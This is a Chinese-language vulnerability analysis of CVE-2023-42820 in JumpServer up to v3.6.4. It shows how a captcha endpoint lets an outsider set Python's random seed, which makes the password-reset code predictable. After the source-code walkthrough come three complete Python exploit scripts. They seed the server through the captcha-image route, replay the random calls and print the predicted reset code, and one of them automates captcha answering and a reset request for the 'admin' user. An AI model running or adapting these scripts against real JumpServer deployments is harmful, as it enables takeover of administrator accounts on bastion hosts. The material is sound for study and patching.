环境

Jumpserver <= v3.6.4中存在CVE-2023-42820漏洞,可以预测随机数导致验证码预测。

环境搭建

vulnhub或者官网

漏洞分析

github diff如下https://github.com/jumpserver/jumpserver/commit/ce645b1710c5821119f313e1b3d801470565aac0

1

random_string函数用于生成密码重置的验证码,去掉了random的seed,所以代码中应该有地方可以设置可控seed。

jumpserver v3.6.4使用了django-simple-captcha v0.5.18来生成验证码,而此版本中在captcha_image函数中设置了种子,但结束后未将其置空。

图片验证码逻辑

captcha相关路由如下:

urlpatterns = [
    re_path(
        r"image/(?P<key>\w+)/$",
        views.captcha_image,
        name="captcha-image",
        kwargs={"scale": 1},
    ),
    re_path(
        r"image/(?P<key>\w+)@2/$",
        views.captcha_image,
        name="captcha-image-2x",
        kwargs={"scale": 2},
    ),
    re_path(r"audio/(?P<key>\w+).wav$", views.captcha_audio, name="captcha-audio"),
    re_path(r"refresh/$", views.captcha_refresh, name="captcha-refresh"),
]

验证码刷新代码:

def captcha_refresh(request):
    """Return json with new captcha for ajax refresh request"""
    if not request.headers.get("x-requested-with") == "XMLHttpRequest":
        raise Http404

    new_key = CaptchaStore.pick()
        ......
    @classmethod
    def generate_key(cls, generator=None):
        challenge, response = captcha_settings.get_challenge(generator)()
        store = cls.objects.create(challenge=challenge, response=response)

        return store.hashkey

    @classmethod
    def pick(cls):
        if not captcha_settings.CAPTCHA_GET_FROM_POOL:
            return cls.generate_key()

        def fallback():
            logger.error("Couldn't get a captcha from pool, generating")
            return cls.generate_key()

        # Pick up a random item from pool
        minimum_expiration = timezone.now() + datetime.timedelta(
            minutes=int(captcha_settings.CAPTCHA_GET_FROM_POOL_TIMEOUT)
        )
        store = (
            cls.objects.filter(expiration__gt=minimum_expiration).order_by("?").first()
        )

        return (store and store.hashkey) or fallback()

CAPTCHA_GET_FROM_POOL默认为False,pick通过get_chanllenge查找生成chal的函数并调用

jumpserver默认有如下设置:

CAPTCHA_IMAGE_SIZE = (180, 38)
CAPTCHA_FOREGROUND_COLOR = '#001100'
CAPTCHA_NOISE_FUNCTIONS = ('captcha.helpers.noise_dots',)
CAPTCHA_CHALLENGE_FUNCT = 'captcha.helpers.math_challenge'

math_challenge用于生成简单的数学计算题。

def math_challenge():
    operators = ("+", "*", "-")
    operands = (random.randint(1, 10), random.randint(1, 10))
    operator = random.choice(operators)
    if operands[0] < operands[1] and "-" == operator:
        operands = (operands[1], operands[0])
    challenge = "%d%s%d" % (operands[0], operator, operands[1])
    return (
        "{}=".format(challenge.replace("*", settings.CAPTCHA_MATH_CHALLENGE_OPERATOR)),
        str(eval(challenge)),
    )

验证码刷新流程为:

  1. 通过math_challenge生成简单算术题
  2. 将题目和答案保存
  3. 通过store.hashkey生成题目hash,将hash作为key返回

后续可根据此key获取图片。由captcha_image函数生成图片。

captcha_image代码如下:

def captcha_image(request, key, scale=1):
    if scale == 2 and not settings.CAPTCHA_2X_IMAGE:
        raise Http404
    try:
        store = CaptchaStore.objects.get(hashkey=key)
    except CaptchaStore.DoesNotExist:
        # HTTP 410 Gone status so that crawlers don't index these expired urls.
        return HttpResponse(status=410)

    random.seed(key)  # Do not generate different images for the same key

    text = store.challenge

    if isinstance(settings.CAPTCHA_FONT_PATH, str):
        fontpath = settings.CAPTCHA_FONT_PATH
    elif isinstance(settings.CAPTCHA_FONT_PATH, (list, tuple)):
        fontpath = random.choice(settings.CAPTCHA_FONT_PATH)
    else:
        raise ImproperlyConfigured(
            "settings.CAPTCHA_FONT_PATH needs to be a path to a font or list of paths to fonts"
        )

    if fontpath.lower().strip().endswith("ttf"):
        font = ImageFont.truetype(fontpath, settings.CAPTCHA_FONT_SIZE * scale)
    else:
        font = ImageFont.load(fontpath)

    if settings.CAPTCHA_IMAGE_SIZE:
        size = settings.CAPTCHA_IMAGE_SIZE
    else:
        size = getsize(font, text)
        size = (size[0] * 2, int(size[1] * 1.4))

    image = makeimg(size)
    xpos = 2

    charlist = []
    for char in text:
        if char in settings.CAPTCHA_PUNCTUATION and len(charlist) >= 1:
            charlist[-1] += char
        else:
            charlist.append(char)
    for char in charlist:
        fgimage = Image.new("RGB", size, settings.CAPTCHA_FOREGROUND_COLOR)
        charimage = Image.new("L", getsize(font, " %s " % char), "#000000")
        chardraw = ImageDraw.Draw(charimage)
        chardraw.text((0, 0), " %s " % char, font=font, fill="#ffffff")
        if settings.CAPTCHA_LETTER_ROTATION:
            charimage = charimage.rotate(
                random.randrange(*settings.CAPTCHA_LETTER_ROTATION),
                expand=0,
                resample=Image.BICUBIC,
            )
        charimage = charimage.crop(charimage.getbbox())
        maskimage = Image.new("L", size)

        ......

    for f in settings.noise_functions():
        draw = f(draw, image)
    for f in settings.filter_functions():
        image = f(image)

        ......

    return response

先将key作为seed传入,后续需要计算random操作调用了多少次,姑且称其为偏移吧。

settings.CAPTCHA_FONT_PATH默认有值,不会调用random.choice

之后会对text也就是算术题进行处理,会调用random.randrange(*settings.CAPTCHA_LETTER_ROTATION),调用次数不确定。

noise_functions()中jumpserver设置为了captcha.helpers.noise_arcscaptcha.helpers.noise_dots,其中captcha.helpers.noise_dots会调用random。代码如下:

def noise_dots(draw, image):
    size = image.size
    for p in range(int(size[0] * size[1] * 0.1)):
        draw.point(
            (random.randint(0, size[0]), random.randint(0, size[1])),
            fill=settings.CAPTCHA_FOREGROUND_COLOR,
        )
    return draw

图片大小决定seed的偏移。而jumpserver设置了默认图片大小,就是上面提到的CAPTCHA_IMAGE_SIZE = (180, 38),在captcha_image函数中读取并赋值。

密码重置验证码逻辑

UserResetPasswordSendCodeApi类定义了验证码逻辑:

token = request.GET.get('token')
userinfo = cache.get(token)
if not userinfo:
    return HttpResponseRedirect(reverse('authentication:forgot-previewing'))

serializer = self.get_serializer(data=request.data)
serializer.is_valid(raise_exception=True)
username = userinfo.get('username')
form_type = serializer.validated_data['form_type']
code = random_string(6, lower=False, upper=False)
......

漏洞利用

想要预测验证码达成以下条件:

  1. 控制seed
  2. 可控seed的偏移

控制seed

通过路由/core/auth/captcha/image/{seed}/即可设置seed。需要注意:

生成图片时会检查此key是否通过refresh生成:

try:
    store = CaptchaStore.objects.get(hashkey=key)
except CaptchaStore.DoesNotExist:
    # HTTP 410 Gone status so that crawlers don't index these expired urls.
    return HttpResponse(status=410)

当一个验证码被使用后,对应的key会被删除,如果再次尝试设置seed为此key,会返回410错误,所以key不能复用。

还有就是jumpserver会有多个进程进行监听,所以需要多次发包设置seed才能使所有进程的seed都被控制,提高成功率。

计算random调用次数

noise_dots计算噪点以及最终生成code时调用次数都是固定的。不确定的地方是对challenge处理时调用次数会根据challenge内容决定。

尝试枚举所有可能:

lens = []

for i in range(1, 11):
    for l in range(1, 11):
        for p in ['*', '-', '+']:
            sum = 0
            text = '{}{}{}='.format(str(i), p, str(l))

            charlist = []
            for char in text:
                if char in "_\"',.;:-" and len(charlist) >= 1:
                    charlist[-1] += char
                else:
                    charlist.append(char)
            for char in charlist:
                sum = sum + 1

            if sum not in lens:
                lens.append(sum)

lens.sort()

print(lens)  # [3, 4, 5, 6]

计算4次的概率最大。

半自动利用

利用流程

  1. 浏览器进入发送验证码页面
  2. 在发送验证码之前运行脚本预测验证码
  3. 发送验证码

原理:先设置seed,然后用gen_img_flow模拟seed偏移。因为次数为4的概率最大,所以固定为4。此脚本有概率失败大概为30%

脚本如下:

import requests
import random
import string
import re

url = ''
string_punctuation = '!#$%&()*+,-.:;<=>?@[]^_~'
key = None

def gen_img_flow(n):
    CAPTCHA_LETTER_ROTATION = (-35, 35)
    size = (180, 38)

    for char in range(n):
        random.randrange(*CAPTCHA_LETTER_ROTATION)

    for p in range(int(size[0] * size[1] * 0.1)):
        random.randint(0, size[0])
        random.randint(0, size[1])

def random_string(length: int, lower=True, upper=True, digit=True, special_char=False):
    args_names = ['lower', 'upper', 'digit', 'special_char']
    args_values = [lower, upper, digit, special_char]
    args_string = [string.ascii_lowercase, string.ascii_uppercase, string.digits, string_punctuation]
    args_string_map = dict(zip(args_names, args_string))
    kwargs = dict(zip(args_names, args_values))
    kwargs_keys = list(kwargs.keys())
    kwargs_values = list(kwargs.values())
    args_true_count = len([i for i in kwargs_values if i])
    assert any(kwargs_values), f'Parameters {kwargs_keys} must have at least one `True`'
    assert length >= args_true_count, f'Expected length >= {args_true_count}, bug got {length}'

    can_startswith_special_char = args_true_count == 1 and special_char

    chars = ''.join([args_string_map[k] for k, v in kwargs.items() if v])

    while True:
        password = list(random.choice(chars) for i in range(length))
        for k, v in kwargs.items():
            if v and not (set(password) & set(args_string_map[k])):
                # 没有包含指定的字符, retry
                break
        else:
            if not can_startswith_special_char and password[0] in args_string_map['special_char']:
                # 首位不能为特殊字符, retry
                continue
            else:
                # 满足要求终止 while 循环
                break

    password = ''.join(password)
    return password

def set_seed(s : requests.Session):
    print('[*] start set seed')

    global key

    if key == None:
        res = s.get(url=url + '/core/auth/password/forget/previewing/')
        try:
            pattern = r'\/core\/auth\/captcha\/image\/([a-f0-9]{40})\/'
            key = re.findall(pattern, res.text)[0]
        except:
            print('[-] get key failed')
            print(res.text)
            exit()

        if len(key) != 40 :
            print('[-] key error')
            exit()

    try:
        for i in range(10):
            res = s.get(url=url + '/core/auth/captcha/image/{}/'.format(key))
    except:
        pass

if __name__ == '__main__':
    s = requests.Session()

    key = None
    set_seed(s)

    random.seed(key)

    gen_img_flow(4)

    code = random_string(6, lower=False, upper=False)
    print(code)

提升成功概率的尝试

上面的脚本有概率失败是因为,seed偏移不确定。要提升成功率要从此入手。

如下图: 2

需要获取原本seed的值或者chal

思路一 设置两次seed(不可行)

可以先设置seed1,再设置seed2,这样chal由seed1生成,code由seed2生成。

看似很合理,但其实不可行,因为如果要通过seed1计算chal,需要知道seed1的偏移,这就又变成要获取在seed1之前的那个未知chal了。

如图所示: 3

思路二 chal辅助计算(可行)

在设置seed之后,查看生成的chal,手动输入chal辅助计算。

如图: 4

虽说100%准确,但很麻烦,不用chal辅助正确率也能有60%以上了,意义不大。

import requests
import random
import string
import re
import PIL

url = ''
string_punctuation = '!#$%&()*+,-.:;<=>?@[]^_~'
key = None

def gen_img_flow(n):
    CAPTCHA_LETTER_ROTATION = (-35, 35)
    size = (180, 38)

    for char in range(n):
        random.randrange(*CAPTCHA_LETTER_ROTATION)

    for p in range(int(size[0] * size[1] * 0.1)):
        random.randint(0, size[0])
        random.randint(0, size[1])

def random_string(length: int, lower=True, upper=True, digit=True, special_char=False):
    args_names = ['lower', 'upper', 'digit', 'special_char']
    args_values = [lower, upper, digit, special_char]
    args_string = [string.ascii_lowercase, string.ascii_uppercase, string.digits, string_punctuation]
    args_string_map = dict(zip(args_names, args_string))
    kwargs = dict(zip(args_names, args_values))
    kwargs_keys = list(kwargs.keys())
    kwargs_values = list(kwargs.values())
    args_true_count = len([i for i in kwargs_values if i])
    assert any(kwargs_values), f'Parameters {kwargs_keys} must have at least one `True`'
    assert length >= args_true_count, f'Expected length >= {args_true_count}, bug got {length}'

    can_startswith_special_char = args_true_count == 1 and special_char

    chars = ''.join([args_string_map[k] for k, v in kwargs.items() if v])

    while True:
        password = list(random.choice(chars) for i in range(length))
        for k, v in kwargs.items():
            if v and not (set(password) & set(args_string_map[k])):
                # 没有包含指定的字符, retry
                break
        else:
            if not can_startswith_special_char and password[0] in args_string_map['special_char']:
                # 首位不能为特殊字符, retry
                continue
            else:
                # 满足要求终止 while 循环
                break

    password = ''.join(password)
    return password

def set_seed(s : requests.Session):
    print('[*] start set seed')

    global key

    if key == None:
        res = s.get(url=url + '/core/auth/password/forget/previewing/')
        try:
            pattern = r'\/core\/auth\/captcha\/image\/([a-f0-9]{40})\/'
            key = re.findall(pattern, res.text)[0]
        except:
            print('[-] get key failed')
            print(res.text)
            exit()

        if len(key) != 40 :
            print('[-] key error')
            exit()

    try:
        for i in range(10):
            res = s.get(url=url + '/core/auth/captcha/image/{}/'.format(key))
            if i == 0:
                f = open('./out/out.png'.format(str(i)), 'wb')
                f.write(res.content)
                f.close()

    except:
        pass

if __name__ == '__main__':
    s = requests.Session()

    key = None
    set_seed(s)

    img = PIL.Image.open('./out/out.png')
    img.show()

    chal = input("chal : ").replace('\n', '')

    random.seed(key)

    CAPTCHA_LETTER_ROTATION = (-35, 35)
    charlist = []
    for char in chal:
        if char == "-" and len(charlist) >= 1:
            charlist[-1] += char
        else:
            charlist.append(char)
    for char in range(4):
        random.randrange(*CAPTCHA_LETTER_ROTATION)
        
    gen_img_flow(0)

    code = random_string(6, lower=False, upper=False)
    print(code)

思路三 自动校准偏移(不可行)

流程如下:

  1. 先设置seed1
  2. 访问/core/auth/password/forget/previewing/路由刷新验证码,此时seed变为seed2,chal由seed1生成。
  3. 枚举由seed1生成的chal的四种可能,选择可能性最高尝试提交form。使用while 循环重复1-3步骤。如果验证码检验通过则break。
  4. 循环break说明seed2和chal均确定,此时可以准确计算code了。

验证码通过就代表偏移设置为4的情况生成的chal是正确的。

流程图: 5

此时可以看到一个问题,如果要校准seed2的偏移必须要提交form通过验证码检验,但上文中的代码审计得知,一个seed对应的chal使用过一次就不能再用了,所以重新设置seed2会失败,返回410错误:

try:
    store = CaptchaStore.objects.get(hashkey=key)
except CaptchaStore.DoesNotExist:
    # HTTP 410 Gone status so that crawlers don't index these expired urls.
    return HttpResponse(status=410)

所以这个方法不可行。不过还是把脚本贴上来吧:

import requests
import random
import string
import re

url = ''
string_punctuation = '!#$%&()*+,-.:;<=>?@[]^_~'
key = None

def gen_img_flow(n):
    CAPTCHA_LETTER_ROTATION = (-35, 35)
    size = (180, 38)

    for char in range(n):
        random.randrange(*CAPTCHA_LETTER_ROTATION)

    for p in range(int(size[0] * size[1] * 0.1)):
        random.randint(0, size[0])
        random.randint(0, size[1])

def math_challenge():
    operators = ("+", "*", "-")
    operands = (random.randint(1, 10), random.randint(1, 10))
    operator = random.choice(operators)
    if operands[0] < operands[1] and "-" == operator:
        operands = (operands[1], operands[0])
    challenge = "%d%s%d" % (operands[0], operator, operands[1])
    return (
        "{}=".format(challenge.replace("*", "*")),
        str(eval(challenge)),
    )

def random_string(length: int, lower=True, upper=True, digit=True, special_char=False):
    args_names = ['lower', 'upper', 'digit', 'special_char']
    args_values = [lower, upper, digit, special_char]
    args_string = [string.ascii_lowercase, string.ascii_uppercase, string.digits, string_punctuation]
    args_string_map = dict(zip(args_names, args_string))
    kwargs = dict(zip(args_names, args_values))
    kwargs_keys = list(kwargs.keys())
    kwargs_values = list(kwargs.values())
    args_true_count = len([i for i in kwargs_values if i])
    assert any(kwargs_values), f'Parameters {kwargs_keys} must have at least one `True`'
    assert length >= args_true_count, f'Expected length >= {args_true_count}, bug got {length}'

    can_startswith_special_char = args_true_count == 1 and special_char

    chars = ''.join([args_string_map[k] for k, v in kwargs.items() if v])

    while True:
        password = list(random.choice(chars) for i in range(length))
        for k, v in kwargs.items():
            if v and not (set(password) & set(args_string_map[k])):
                # 没有包含指定的字符, retry
                break
        else:
            if not can_startswith_special_char and password[0] in args_string_map['special_char']:
                # 首位不能为特殊字符, retry
                continue
            else:
                # 满足要求终止 while 循环
                break

    password = ''.join(password)
    return password

def set_seed(s : requests.Session):
    print('[*] start set seed')

    global key

    if key == None:
        res = s.get(url=url + '/core/auth/password/forget/previewing/')
        try:
            pattern = r'\/core\/auth\/captcha\/image\/([a-f0-9]{40})\/'
            key = re.findall(pattern, res.text)[0]
        except:
            print('[-] get key failed')
            print(res.text)
            exit()

        if len(key) != 40 :
            print('[-] key error')
            exit()

    try:
        for i in range(10):
            res = s.get(url=url + '/core/auth/captcha/image/{}/'.format(key))

    except:
        pass

def get_reset_page_1(s : requests.Session) -> tuple[str, str]:
    print("[*] start to get captcha0")
    res = s.get(url=url + '/core/auth/password/forget/previewing/')
    key_pattern = r'\/core\/auth\/captcha\/image\/([a-f0-9]{40})\/'
    csrf_token_pattern = r'name="csrfmiddlewaretoken" value="(.*)"'

    try:
        key = re.findall(key_pattern, res.text)[0]
        csrf_token = re.findall(csrf_token_pattern, res.text)[0]

        if len(key) == 40 and len(csrf_token) > 0:
            print("[+] get captcha0 success")
            return (key, csrf_token)
    except Exception as e:
        print(e)

    print("[-] get captcha0 failed")
    exit()

def send_captcha(s : requests.Session, captcha_0 : str, captcha_1 : str, csrf_token : str) -> str:
    data = {
        "csrfmiddlewaretoken" : csrf_token,
        "username" : "admin",
        "captcha_0" : captcha_0,
        "captcha_1" : captcha_1
    }
    res =  s.post(url=url + '/core/auth/password/forget/previewing/', data=data, allow_redirects=False)
    if res.status_code == 302:
        token = res.headers.get("Location").split("token=")[-1]
        if len(token) > 0:
            return token

    return None

if __name__ == '__main__':
    while True:
        key = None

        s = requests.session()

        set_seed(s)        # set seed + gen_img_flow
        captcha0_key, captcha0_csrf_token = get_reset_page_1(s)

        random.seed(key)
        gen_img_flow(4)
        chal, answer = math_challenge()

        token = send_captcha(s, captcha0_key, str(answer), captcha0_csrf_token)

        if token != None:
            break
        else:
            print("captcha incorrect")

    key = captcha0_key
    set_seed(s)

    random.seed(key)

    CAPTCHA_LETTER_ROTATION = (-35, 35)
    charlist = []
    for char in chal:
        if char == "-" and len(charlist) >= 1:
            charlist[-1] += char
        else:
            charlist.append(char)
    for char in range(4):
        random.randrange(*CAPTCHA_LETTER_ROTATION)
        
    gen_img_flow(0)

    code = random_string(6, lower=False, upper=False)
    print(code)